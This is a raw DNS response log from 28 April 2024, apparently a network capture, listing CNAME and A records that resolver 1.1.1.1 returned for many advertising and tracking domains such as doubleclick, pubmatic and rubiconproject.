Apr 28, 2024 00:42:11.497551918 CEST	1.1.1.1	192.168.2.4	0x7950	No error (0)	api_main.a47b.com	am-api-prod-app-235733331.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.498087883 CEST	1.1.1.1	192.168.2.4	0x46b0	No error (0)	beacon-iad2.rubiconproject.com	beacon-iad2.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.842602968 CEST	1.1.1.1	192.168.2.4	0x7400	No error (0)	sync.ipredictive.com		52.7.87.144	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.842602968 CEST	1.1.1.1	192.168.2.4	0x7400	No error (0)	sync.ipredictive.com		54.158.85.236	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.842602968 CEST	1.1.1.1	192.168.2.4	0x7400	No error (0)	sync.ipredictive.com		54.157.219.248	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.842602968 CEST	1.1.1.1	192.168.2.4	0x7400	No error (0)	sync.ipredictive.com		54.157.127.172	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.842602968 CEST	1.1.1.1	192.168.2.4	0x7400	No error (0)	sync.ipredictive.com		52.73.143.187	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.842602968 CEST	1.1.1.1	192.168.2.4	0x7400	No error (0)	sync.ipredictive.com		52.55.107.251	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.842602968 CEST	1.1.1.1	192.168.2.4	0x7400	No error (0)	sync.ipredictive.com		52.72.113.114	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.842602968 CEST	1.1.1.1	192.168.2.4	0x7400	No error (0)	sync.ipredictive.com		52.86.120.198	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.976789951 CEST	1.1.1.1	192.168.2.4	0xdb1b	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.976789951 CEST	1.1.1.1	192.168.2.4	0xdb1b	No error (0)	simage2v2.pubmnet.com	nje1pugpairb.pubmatic.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.976789951 CEST	1.1.1.1	192.168.2.4	0xdb1b	No error (0)	nje1pugpairb.pubmatic.com		207.65.37.184	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.977205038 CEST	1.1.1.1	192.168.2.4	0xe7a9	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.977205038 CEST	1.1.1.1	192.168.2.4	0xe7a9	No error (0)	simage2v2.pubmnet.com	nje1pugpairb.pubmatic.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:12.376859903 CEST	1.1.1.1	192.168.2.4	0xe02e	No error (0)	cdn.doubleverify.com	cdn.doubleverify.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:12.377640963 CEST	1.1.1.1	192.168.2.4	0x4eb7	No error (0)	cdn.doubleverify.com	cdn.doubleverify.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:14.484338045 CEST	1.1.1.1	192.168.2.4	0xa95	No error (0)	ssp-sync.criteo.com	ssp-sync.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:14.484338045 CEST	1.1.1.1	192.168.2.4	0xa95	No error (0)	ssp-sync.us5.vip.prod.criteo.com		74.119.117.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.484786034 CEST	1.1.1.1	192.168.2.4	0x7aa3	No error (0)	ssp-sync.criteo.com	ssp-sync.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:14.687334061 CEST	1.1.1.1	192.168.2.4	0xe96a	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:14.687334061 CEST	1.1.1.1	192.168.2.4	0xe96a	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:14.687447071 CEST	1.1.1.1	192.168.2.4	0xa585	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:14.687447071 CEST	1.1.1.1	192.168.2.4	0xa585	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:14.688292980 CEST	1.1.1.1	192.168.2.4	0x5a52	No error (0)	sync.srv.stackadapt.com		54.209.244.95	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.688292980 CEST	1.1.1.1	192.168.2.4	0x5a52	No error (0)	sync.srv.stackadapt.com		54.160.46.180	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.688292980 CEST	1.1.1.1	192.168.2.4	0x5a52	No error (0)	sync.srv.stackadapt.com		54.166.67.31	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.688292980 CEST	1.1.1.1	192.168.2.4	0x5a52	No error (0)	sync.srv.stackadapt.com		54.147.38.202	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.688292980 CEST	1.1.1.1	192.168.2.4	0x5a52	No error (0)	sync.srv.stackadapt.com		52.4.175.124	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.688292980 CEST	1.1.1.1	192.168.2.4	0x5a52	No error (0)	sync.srv.stackadapt.com		52.73.12.92	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.688292980 CEST	1.1.1.1	192.168.2.4	0x5a52	No error (0)	sync.srv.stackadapt.com		54.197.158.229	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.688292980 CEST	1.1.1.1	192.168.2.4	0x5a52	No error (0)	sync.srv.stackadapt.com		54.147.189.51	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.707537889 CEST	1.1.1.1	192.168.2.4	0x81b6	No error (0)	ad.doubleclick.net		172.253.62.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.707537889 CEST	1.1.1.1	192.168.2.4	0x81b6	No error (0)	ad.doubleclick.net		172.253.62.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.709403992 CEST	1.1.1.1	192.168.2.4	0xe30d	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Apr 28, 2024 00:42:15.591773033 CEST	1.1.1.1	192.168.2.4	0x7da6	No error (0)	ajs.a47b.com	ajstest-1a9cf.kxcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.591773033 CEST	1.1.1.1	192.168.2.4	0x7da6	No error (0)	ajstest-1a9cf.kxcdn.com	a-us00.kxcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.591881037 CEST	1.1.1.1	192.168.2.4	0xd57c	No error (0)	ajs.a47b.com	ajstest-1a9cf.kxcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.591881037 CEST	1.1.1.1	192.168.2.4	0xd57c	No error (0)	ajstest-1a9cf.kxcdn.com	a-us00.kxcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.591881037 CEST	1.1.1.1	192.168.2.4	0xd57c	No error (0)	a-us00.kxcdn.com		68.70.205.3	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.591881037 CEST	1.1.1.1	192.168.2.4	0xd57c	No error (0)	a-us00.kxcdn.com		68.70.205.1	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.591881037 CEST	1.1.1.1	192.168.2.4	0xd57c	No error (0)	a-us00.kxcdn.com		68.70.205.2	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.591881037 CEST	1.1.1.1	192.168.2.4	0xd57c	No error (0)	a-us00.kxcdn.com		68.70.205.4	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.595074892 CEST	1.1.1.1	192.168.2.4	0xd470	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.596231937 CEST	1.1.1.1	192.168.2.4	0x5b7	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.598284960 CEST	1.1.1.1	192.168.2.4	0x66cf	No error (0)	aax-eu.amazon-adsystem.com		52.95.115.196	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.598771095 CEST	1.1.1.1	192.168.2.4	0x2153	No error (0)	match.prod.bidr.io		54.146.215.124	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.598771095 CEST	1.1.1.1	192.168.2.4	0x2153	No error (0)	match.prod.bidr.io		54.158.106.27	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.598771095 CEST	1.1.1.1	192.168.2.4	0x2153	No error (0)	match.prod.bidr.io		52.7.175.100	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.598771095 CEST	1.1.1.1	192.168.2.4	0x2153	No error (0)	match.prod.bidr.io		52.73.236.1	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.598771095 CEST	1.1.1.1	192.168.2.4	0x2153	No error (0)	match.prod.bidr.io		54.160.85.202	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.598771095 CEST	1.1.1.1	192.168.2.4	0x2153	No error (0)	match.prod.bidr.io		52.87.32.208	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.598771095 CEST	1.1.1.1	192.168.2.4	0x2153	No error (0)	match.prod.bidr.io		52.87.53.218	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.598771095 CEST	1.1.1.1	192.168.2.4	0x2153	No error (0)	match.prod.bidr.io		54.145.185.145	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.599683046 CEST	1.1.1.1	192.168.2.4	0x85b6	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.599683046 CEST	1.1.1.1	192.168.2.4	0x85b6	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.599683046 CEST	1.1.1.1	192.168.2.4	0x85b6	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.599771976 CEST	1.1.1.1	192.168.2.4	0xccd3	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.599771976 CEST	1.1.1.1	192.168.2.4	0xccd3	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.599771976 CEST	1.1.1.1	192.168.2.4	0xccd3	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	secure.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.601819992 CEST	1.1.1.1	192.168.2.4	0x125a	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.929002047 CEST	1.1.1.1	192.168.2.4	0x8dbe	No error (0)	pixel-us-east.rubiconproject.com	pixel-us-east.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:15.930192947 CEST	1.1.1.1	192.168.2.4	0x81c1	No error (0)	pixel-us-east.rubiconproject.com	pixel-us-east.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:16.182789087 CEST	1.1.1.1	192.168.2.4	0xd660	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Apr 28, 2024 00:42:16.183121920 CEST	1.1.1.1	192.168.2.4	0x6320	No error (0)	ad.doubleclick.net		172.253.63.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.183121920 CEST	1.1.1.1	192.168.2.4	0x6320	No error (0)	ad.doubleclick.net		172.253.63.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.216944933 CEST	1.1.1.1	192.168.2.4	0x635d	No error (0)	a.a47b.com	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:16.216944933 CEST	1.1.1.1	192.168.2.4	0x635d	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		52.201.108.5	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.216944933 CEST	1.1.1.1	192.168.2.4	0x635d	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		18.235.56.58	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.216944933 CEST	1.1.1.1	192.168.2.4	0x635d	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		3.210.33.63	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.216944933 CEST	1.1.1.1	192.168.2.4	0x635d	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		54.86.242.71	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.216944933 CEST	1.1.1.1	192.168.2.4	0x635d	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		3.225.35.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.216944933 CEST	1.1.1.1	192.168.2.4	0x635d	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		54.225.135.50	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.216944933 CEST	1.1.1.1	192.168.2.4	0x635d	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		54.83.171.41	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.216944933 CEST	1.1.1.1	192.168.2.4	0x635d	No error (0)	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		3.93.85.59	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.217231989 CEST	1.1.1.1	192.168.2.4	0x650e	No error (0)	a.a47b.com	a47b-collector-alb-630215029.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:16.345865965 CEST	1.1.1.1	192.168.2.4	0x376c	No error (0)	tps.doubleverify.com	tps-geo.dvgtm.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:16.345865965 CEST	1.1.1.1	192.168.2.4	0x376c	No error (0)	tpsc-ue1.doubleverify.com	tps-ue1.doubleverify.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:16.345865965 CEST	1.1.1.1	192.168.2.4	0x376c	No error (0)	tps-ue1.doubleverify.com		34.117.228.201	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.347856998 CEST	1.1.1.1	192.168.2.4	0xdfcc	No error (0)	tps.doubleverify.com	tps-geo.dvgtm.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:16.347856998 CEST	1.1.1.1	192.168.2.4	0xdfcc	No error (0)	tpsc-ue1.doubleverify.com	tps-ue1.doubleverify.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:16.425035000 CEST	1.1.1.1	192.168.2.4	0xeca4	No error (0)	hbx.media.net		23.222.200.28	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.573317051 CEST	1.1.1.1	192.168.2.4	0xd7d	No error (0)	hb.yahoo.net		23.215.0.40	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.573317051 CEST	1.1.1.1	192.168.2.4	0xd7d	No error (0)	hb.yahoo.net		23.215.0.38	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.574058056 CEST	1.1.1.1	192.168.2.4	0xf024	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:16.574820042 CEST	1.1.1.1	192.168.2.4	0x59db	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:16.574820042 CEST	1.1.1.1	192.168.2.4	0x59db	No error (0)	match-us-east-1-ecs.sharethrough.com		184.72.228.207	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.574820042 CEST	1.1.1.1	192.168.2.4	0x59db	No error (0)	match-us-east-1-ecs.sharethrough.com		50.16.138.64	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.574820042 CEST	1.1.1.1	192.168.2.4	0x59db	No error (0)	match-us-east-1-ecs.sharethrough.com		35.172.59.103	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.574820042 CEST	1.1.1.1	192.168.2.4	0x59db	No error (0)	match-us-east-1-ecs.sharethrough.com		44.217.108.225	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.574820042 CEST	1.1.1.1	192.168.2.4	0x59db	No error (0)	match-us-east-1-ecs.sharethrough.com		34.196.207.248	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.574820042 CEST	1.1.1.1	192.168.2.4	0x59db	No error (0)	match-us-east-1-ecs.sharethrough.com		35.169.243.49	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.574820042 CEST	1.1.1.1	192.168.2.4	0x59db	No error (0)	match-us-east-1-ecs.sharethrough.com		23.21.103.244	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.574820042 CEST	1.1.1.1	192.168.2.4	0x59db	No error (0)	match-us-east-1-ecs.sharethrough.com		34.232.218.180	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.678131104 CEST	1.1.1.1	192.168.2.4	0xcf37	No error (0)	prebid.a-mo.net	dc13-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:16.681987047 CEST	1.1.1.1	192.168.2.4	0x484b	No error (0)	prebid.a-mo.net	dc13-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:16.681987047 CEST	1.1.1.1	192.168.2.4	0x484b	No error (0)	dc13-prebid.a-mx.net		147.28.129.140	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.681987047 CEST	1.1.1.1	192.168.2.4	0x484b	No error (0)	dc13-prebid.a-mx.net		147.28.146.89	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.681987047 CEST	1.1.1.1	192.168.2.4	0x484b	No error (0)	dc13-prebid.a-mx.net		147.28.129.37	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.999726057 CEST	1.1.1.1	192.168.2.4	0xce63	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.128952980 CEST	1.1.1.1	192.168.2.4	0xe5b5	No error (0)	ad.doubleclick.net		142.251.167.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.128952980 CEST	1.1.1.1	192.168.2.4	0xe5b5	No error (0)	ad.doubleclick.net		142.251.167.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.129215002 CEST	1.1.1.1	192.168.2.4	0x4f87	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Apr 28, 2024 00:42:17.171293020 CEST	1.1.1.1	192.168.2.4	0xe174	No error (0)	cs.media.net		23.222.200.28	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.186703920 CEST	1.1.1.1	192.168.2.4	0x3a41	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.186703920 CEST	1.1.1.1	192.168.2.4	0x3a41	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.187031031 CEST	1.1.1.1	192.168.2.4	0x6cc6	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.187031031 CEST	1.1.1.1	192.168.2.4	0x6cc6	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.187031031 CEST	1.1.1.1	192.168.2.4	0x6cc6	No error (0)	pug-vac.pubmnet.com		8.28.7.83	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.215461016 CEST	1.1.1.1	192.168.2.4	0xddb8	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.215461016 CEST	1.1.1.1	192.168.2.4	0xddb8	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.215461016 CEST	1.1.1.1	192.168.2.4	0xddb8	No error (0)	spug-vac.pubmnet.com		8.28.7.84	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.215925932 CEST	1.1.1.1	192.168.2.4	0x8af4	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.215925932 CEST	1.1.1.1	192.168.2.4	0x8af4	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.432506084 CEST	1.1.1.1	192.168.2.4	0x35c4	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.455894947 CEST	1.1.1.1	192.168.2.4	0x186d	No error (0)	data.adsrvr.org	match.adsrvr.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.455894947 CEST	1.1.1.1	192.168.2.4	0x186d	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.455894947 CEST	1.1.1.1	192.168.2.4	0x186d	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.455894947 CEST	1.1.1.1	192.168.2.4	0x186d	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.455894947 CEST	1.1.1.1	192.168.2.4	0x186d	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.456407070 CEST	1.1.1.1	192.168.2.4	0x87e0	No error (0)	data.adsrvr.org	match.adsrvr.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.495388985 CEST	1.1.1.1	192.168.2.4	0x172f	No error (0)	s.ad.smaato.net		18.67.76.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.495388985 CEST	1.1.1.1	192.168.2.4	0x172f	No error (0)	s.ad.smaato.net		18.67.76.126	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.495388985 CEST	1.1.1.1	192.168.2.4	0x172f	No error (0)	s.ad.smaato.net		18.67.76.69	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.495388985 CEST	1.1.1.1	192.168.2.4	0x172f	No error (0)	s.ad.smaato.net		18.67.76.70	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.512964010 CEST	1.1.1.1	192.168.2.4	0x8f6f	No error (0)	pixel-eu.rubiconproject.com	pixel-eu.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.513478994 CEST	1.1.1.1	192.168.2.4	0x2919	No error (0)	pixel-eu.rubiconproject.com	pixel-eu.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.515052080 CEST	1.1.1.1	192.168.2.4	0x46b6	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.515052080 CEST	1.1.1.1	192.168.2.4	0x46b6	No error (0)	outspot2-ams.adx.opera.com		82.145.213.8	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.515616894 CEST	1.1.1.1	192.168.2.4	0xa4fa	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.525522947 CEST	1.1.1.1	192.168.2.4	0x1cd0	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.525522947 CEST	1.1.1.1	192.168.2.4	0x1cd0	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.526597023 CEST	1.1.1.1	192.168.2.4	0x38b6	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.526597023 CEST	1.1.1.1	192.168.2.4	0x38b6	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.526597023 CEST	1.1.1.1	192.168.2.4	0x38b6	No error (0)	global.px.quantserve.com		192.184.68.134	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.526597023 CEST	1.1.1.1	192.168.2.4	0x38b6	No error (0)	global.px.quantserve.com		192.184.68.234	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.526597023 CEST	1.1.1.1	192.168.2.4	0x38b6	No error (0)	global.px.quantserve.com		192.184.68.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.527374029 CEST	1.1.1.1	192.168.2.4	0x6fc8	No error (0)	bh.contextweb.com	lga-bh.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.527374029 CEST	1.1.1.1	192.168.2.4	0x6fc8	No error (0)	lga-bh.contextweb.com	lga-direct-bgp.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.528151989 CEST	1.1.1.1	192.168.2.4	0x745f	No error (0)	bh.contextweb.com	lga-bh.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.528151989 CEST	1.1.1.1	192.168.2.4	0x745f	No error (0)	lga-bh.contextweb.com	lga-direct-bgp.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:17.528151989 CEST	1.1.1.1	192.168.2.4	0x745f	No error (0)	lga-direct-bgp.contextweb.com		198.148.27.131	A (IP address)	IN (0x0001)	false
